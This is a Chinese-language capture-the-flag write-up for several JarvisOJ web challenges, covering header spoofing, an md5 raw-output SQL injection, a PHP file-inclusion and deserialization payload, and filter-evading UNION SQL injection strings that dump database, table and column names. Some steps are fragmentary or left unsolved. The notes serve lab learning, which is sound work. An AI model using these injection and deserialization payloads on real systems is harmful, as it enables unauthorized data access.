PORT51
题目链接:http://web.jarvisoj.com:32774/
参考题解:https://blog.csdn.net/weixin_44077544/article/details/89407287
打开之后显示
输入
curl --local-port 51 http://web.jarvisoj.com:32770/ |
返回
LOCALHOST
题目分析
只允许本机登录
考虑添加header:
X-Forward-For 127.0.0.1 |
来构造一个“原始客户端为localhost”的报文,达到access的目的
设置代理、抓包
打开burpsuite,勾选127.0.0.1:8080
调整至intercept is on,进行抓包
添加header,点击forward发送
得到flag
LOGIN
- burpsuite
- md5
打开proxy-options-intercept server responses
看到hint
Hint: "select * from `admin` where password='".md5($pass,true)."'" |
|
(这个代码我没有跑出来,TLE了)
ffifdyop
神盾局的秘密
- 文件包含漏洞
- 序列化
打开后是一张图片
查看网页源代码,发现showing.php,和一张base64编码的img,解密后是shield.jpg
点进去,发现是图片编码
判断是文件包含漏洞
尝试读取showimg.php
view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA= |
|
stripos查找字符串首次出现的位置(不区分大小写)
代码中过滤掉了.. / \\(切换目录的字符) 和pctf
尝试获取index.php(aW5kZXgucGhw)
view-source:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw |
|
使用GET传参,参数名‘class’
读shield.php
http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA== |
|
showimg.php对pctf进行了过滤,但是readfile()没有
编写php脚本,得到序列化后的shield实例
|
得到序列化结果
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} |
访问
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;} |
IN A MESS
题目链接:http://web.jarvisoj.com:32780/
题解链接:https://blog.csdn.net/wyj_1216/article/details/82954242
查看源码
查看index.phps
转载自:https://www.jianshu.com/p/cb124701a5d8
1.
stripos(字符串a,字符串b)函数
查找字符串b在字符串a中第一次出现的位置(不区分大小写)
2.file_get_contents
将整个文件读入一个字符串
3.eregi("111".substr($b,0,1),"1114")
判断”1114”这个字符串里面是否有符合”111”.substr($b,0,1)这个规则的注,php5.3以后不支持eregi
参数 | 要求 | |
---|---|---|
id | id==0 | 前面有非零的判断,所以用0e或‘0’绕过 |
b | strlen($b)>5 and eregi(“111”.substr($b,0,1),”1114”) and substr($b,0,1)!=4 | 这里要求:b的长度大于5,且是基于eregi函数的弱类型,用%00的绕过( strlen函数对%00不截断但substr截断)那么可以令b=%00411111 |
a | 由data进行赋值:$data = @file_get_contents($a,'r') 而又有$data=="1112 is a nice lab!" |
可以利用远程文件包含在allow_url_include 开启时可以使用,但发现对$a 有了. 过滤所以还是data协议比较稳妥 |
data类型的URL格式:https://blog.csdn.net/lxgwm2008/article/details/38437875
对于一些小数据,可以在网页中直接嵌入,而不是从外部文件载入,减少服务器负载
例如直接在浏览器输入data:text/html,
Hello, world!
或者运行
(Url是一种基于文本的协议,所以gif/png/jpeg这种二进制属于需要用base64进行编码。换句话说,引入base64以后,就可以支持任意形式的数据格式。)
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<style type="text/css">
.title {
background-image:url(data:image/gif;base64,R0lGODlhAQAcALMAAMXh96HR97XZ98Hf98Xg97DX97nb98Lf97vc98Tg973d96rU97ba97%2Fe96XS9wAAACH5BAAAAAAALAAAAAABABwAAAQVMLhVBDNItXESAURyDI2CGIxQLE4EADs%3D);
background-repeat:repeat-x;
height:28px;
line-height: 28px;
text-align:center;
}
</style>
</head>
<body>
<div class="title">Hello, world!</div>
</body>
</html>可以看到
data类型的Url大致有以下几种形式
data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据
输入?id=0e&a=data:,1112 is a nice lab!&b=%00411111,返回
{/^HT2mCpcvOLf} 不像flag,像一个目录,于是,尝试在地址栏输入:http://web.jarvisoj.com:32780/^HT2mCpcvOLf
返回
发现跳转后自动补id=1,考虑sql注入
尝试id=1 or 1=1
怀疑空格有问题,用/\/代替
还是不行,可能过滤了**,改为/*1*/,显示正常
and 1=1也没问题,and 1=2报错
输入id=1/*1*/order/*1*/by/*1*/3显示正常,但是4报错,说明有三个字段
下面开始爆数据库:
id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(database())%23 |
得到数据库名test
接下来开始爆表名:
id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(seselectlect/*12*/group_concat(table_name)/*12*/frfromom/*12*/information_schema.tables/*12*/where/*12*/table_schema=database())%23 |
得到表名:content
接下来爆列名:
id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(selselectect/*12*/group_concat(column_name)/*12*/frofromm/*12*/information_schema.columns/*12*/where/*12*/table_name=0x636f6e74656e74)%23 |
得到列名:context
读取内容:
id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(selselectect/*12*/context/*12*/frofromm/*1*/content)%23 |
RE?
连接:https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172
udf.so是linux上的mysql函数
先在阿里云上拉一个docker
docker pull mysql |
docker run -p 3306:3306 --name ctf-mysql -v D:\security\docker:/tmp -e LANG=C.UTF-8 -e MYSQL_ROOT_PASSWORD=123456 -d mysql |
根据题解运行没有成功,先放下回来再说。